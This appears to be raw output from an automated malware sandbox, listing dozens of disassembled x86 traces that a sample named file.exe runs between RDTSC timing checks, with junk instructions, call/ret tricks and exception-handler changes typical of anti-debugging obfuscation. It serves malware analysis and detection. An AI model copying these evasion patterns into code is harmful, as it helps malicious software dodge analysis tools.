Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A73 second address: F24ADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FDDF0E482B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D2D23h], edi 0x0000002a push 00000000h 0x0000002c mov esi, dword ptr [ebp+122D2A38h] 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+12455540h], edi 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FDDF0E482C6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24ADB second address: F24AE1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24AE1 second address: F24AE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24AE7 second address: F24AEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F268D0 second address: F268D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28867 second address: F288B5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDDF0723BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FDDF0723BD8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D3110h], edi 0x0000002c push 00000000h 0x0000002e mov ebx, dword ptr [ebp+122D2C20h] 0x00000034 push 00000000h 0x00000036 add dword ptr [ebp+122D1F1Fh], esi 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 jne 00007FDDF0723BD6h 0x00000046 pop eax 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F288B5 second address: F288BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F279AF second address: F279B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F279B3 second address: F27A43 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FDDF0E482B8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FDDF0E482B8h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D1A47h], eax 0x0000004e mov dword ptr fs:[00000000h], esp 0x00000055 and ebx, 47BAA5A6h 0x0000005b mov eax, dword ptr [ebp+122D0ABDh] 0x00000061 push FFFFFFFFh 0x00000063 call 00007FDDF0E482C0h 0x00000068 mov ebx, ecx 0x0000006a pop edi 0x0000006b push eax 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push ebx 0x00000070 pop ebx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A8BC second address: F2A8C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A8C2 second address: F2A8C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A8C6 second address: F2A8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FDDF0723BD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A8D8 second address: F2A8DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A8DC second address: F2A939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 add dword ptr [ebp+122D2D19h], edi 0x0000000e push 00000000h 0x00000010 sub dword ptr [ebp+122D1F29h], eax 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FDDF0723BD8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 jne 00007FDDF0723BDCh 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FDDF0723BE6h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A939 second address: F2A943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDDF0E482B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A943 second address: F2A947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C8E4 second address: F2C8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C8E9 second address: F2C8EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C8EE second address: F2C9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0E482C8h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007FDDF0E482C5h 0x00000012 mov dword ptr [ebp+124542B4h], edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FDDF0E482B8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D1F12h] 0x0000003a jl 00007FDDF0E482B7h 0x00000040 stc 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ebx 0x00000046 call 00007FDDF0E482B8h 0x0000004b pop ebx 0x0000004c mov dword ptr [esp+04h], ebx 0x00000050 add dword ptr [esp+04h], 0000001Ah 0x00000058 inc ebx 0x00000059 push ebx 0x0000005a ret 0x0000005b pop ebx 0x0000005c ret 0x0000005d sub dword ptr [ebp+12455540h], edx 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 jmp 00007FDDF0E482C7h 0x0000006c push edx 0x0000006d pop edx 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DB0A second address: F2DBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FDDF0723BD8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007FDDF0723BD8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f cld 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ebx 0x00000045 call 00007FDDF0723BD8h 0x0000004a pop ebx 0x0000004b mov dword ptr [esp+04h], ebx 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc ebx 0x00000058 push ebx 0x00000059 ret 0x0000005a pop ebx 0x0000005b ret 0x0000005c mov di, bx 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 jmp 00007FDDF0723BE9h 0x00000068 pop eax 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CB1C second address: F2CBA0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDDF0E482B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, ebx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FDDF0E482B8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D5535h], esi 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov edi, dword ptr [ebp+122D2AF0h] 0x00000043 mov eax, dword ptr [ebp+122D0E41h] 0x00000049 push 00000000h 0x0000004b push edx 0x0000004c call 00007FDDF0E482B8h 0x00000051 pop edx 0x00000052 mov dword ptr [esp+04h], edx 0x00000056 add dword ptr [esp+04h], 00000018h 0x0000005e inc edx 0x0000005f push edx 0x00000060 ret 0x00000061 pop edx 0x00000062 ret 0x00000063 mov bx, dx 0x00000066 push FFFFFFFFh 0x00000068 sub dword ptr [ebp+122D1F29h], eax 0x0000006e nop 0x0000006f push eax 0x00000070 push edx 0x00000071 push ecx 0x00000072 jng 00007FDDF0E482B6h 0x00000078 pop ecx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CBA0 second address: F2CBB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007FDDF0723BE4h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CBB5 second address: F2CBB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FBB5 second address: F2FC39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jbe 00007FDDF0723BE2h 0x00000011 jnl 00007FDDF0723BDCh 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FDDF0723BD8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov bx, C76Bh 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007FDDF0723BD8h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 and edi, dword ptr [ebp+122D1BCEh] 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d js 00007FDDF0723BDCh 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FC39 second address: F2FC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FC3D second address: F2FC43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31CAF second address: F31D33 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FDDF0E482B8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov ebx, 77FFFF07h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007FDDF0E482B8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 movzx ebx, si 0x00000047 push 00000000h 0x00000049 sub dword ptr [ebp+1247BB8Eh], ecx 0x0000004f jmp 00007FDDF0E482C7h 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 jc 00007FDDF0E482BCh 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31D33 second address: F31D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31D41 second address: F31D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31D45 second address: F31D4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EE03 second address: F2EE07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32E62 second address: F32ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebx 0x00000009 call 00007FDDF0723BD8h 0x0000000e pop ebx 0x0000000f mov dword ptr [esp+04h], ebx 0x00000013 add dword ptr [esp+04h], 0000001Ch 0x0000001b inc ebx 0x0000001c push ebx 0x0000001d ret 0x0000001e pop ebx 0x0000001f ret 0x00000020 mov dword ptr [ebp+122D551Ch], ebx 0x00000026 jbe 00007FDDF0723BD9h 0x0000002c sbb bh, FFFFFFA8h 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D3110h], ebx 0x00000037 mov bl, ah 0x00000039 push 00000000h 0x0000003b mov edi, ebx 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 jmp 00007FDDF0723BE1h 0x00000047 popad 0x00000048 push edx 0x00000049 jo 00007FDDF0723BD6h 0x0000004f pop edx 0x00000050 popad 0x00000051 push eax 0x00000052 jng 00007FDDF0723BE2h 0x00000058 jp 00007FDDF0723BDCh 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EE07 second address: F2EE0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30ED7 second address: F30EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30EDC second address: F30EE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30EE2 second address: F30EE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33D7D second address: F33D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33D81 second address: F33DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FDDF0723BD8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 clc 0x00000023 xor ebx, dword ptr [ebp+122D27D4h] 0x00000029 push 00000000h 0x0000002b or edi, 3ED9C6DDh 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D3857h], esi 0x00000039 or ebx, 73E378A6h 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 push edi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37417 second address: F37421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDDF0E482B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35043 second address: F3505F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDF0723BE5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3505F second address: F35063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35063 second address: F350CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D28B0h] 0x0000000e mov dword ptr [ebp+122D1BD4h], eax 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov bh, al 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 pushad 0x00000025 stc 0x00000026 mov edx, dword ptr [ebp+122D2A2Ch] 0x0000002c popad 0x0000002d mov eax, dword ptr [ebp+122D00EDh] 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007FDDF0723BD8h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d mov ebx, dword ptr [ebp+122D2A78h] 0x00000053 push FFFFFFFFh 0x00000055 mov edi, dword ptr [ebp+122D2934h] 0x0000005b nop 0x0000005c push eax 0x0000005d push edx 0x0000005e push ebx 0x0000005f push edx 0x00000060 pop edx 0x00000061 pop ebx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A297 second address: F3A2A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A2A1 second address: F3A2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A2A5 second address: F3A2C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A2C2 second address: F3A2CC instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDF0723BE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A2CC second address: F3A2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDDF0E482B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FDDF0E482B6h 0x00000012 jp 00007FDDF0E482B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A2E4 second address: F3A2FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EA99 second address: F3EAB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDF0E482BDh 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EAB0 second address: F3EABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FDDF0723BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EABC second address: F3EACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FDDF0E482B6h 0x0000000a jns 00007FDDF0E482B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F400B4 second address: F400BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43AB3 second address: F43AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43AB9 second address: F43AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FDDF0723BD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F435F7 second address: F4360C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482BBh 0x00000007 jnc 00007FDDF0E482B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4360C second address: F4362F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDDF0723BDFh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FDDF0723BD8h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4362F second address: F43633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43633 second address: F43637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43637 second address: F4363D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49B0F second address: F49B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDDF0723BD8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49B1B second address: F49B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49B20 second address: F49B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49B28 second address: F49B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jno 00007FDDF0E482B6h 0x00000010 jl 00007FDDF0E482B6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49B43 second address: F49B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDDF0723BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49B4D second address: F49B57 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B506 second address: F4B50A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B50A second address: F4B527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B643 second address: F4B648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B648 second address: F4B64E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B64E second address: F4B652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
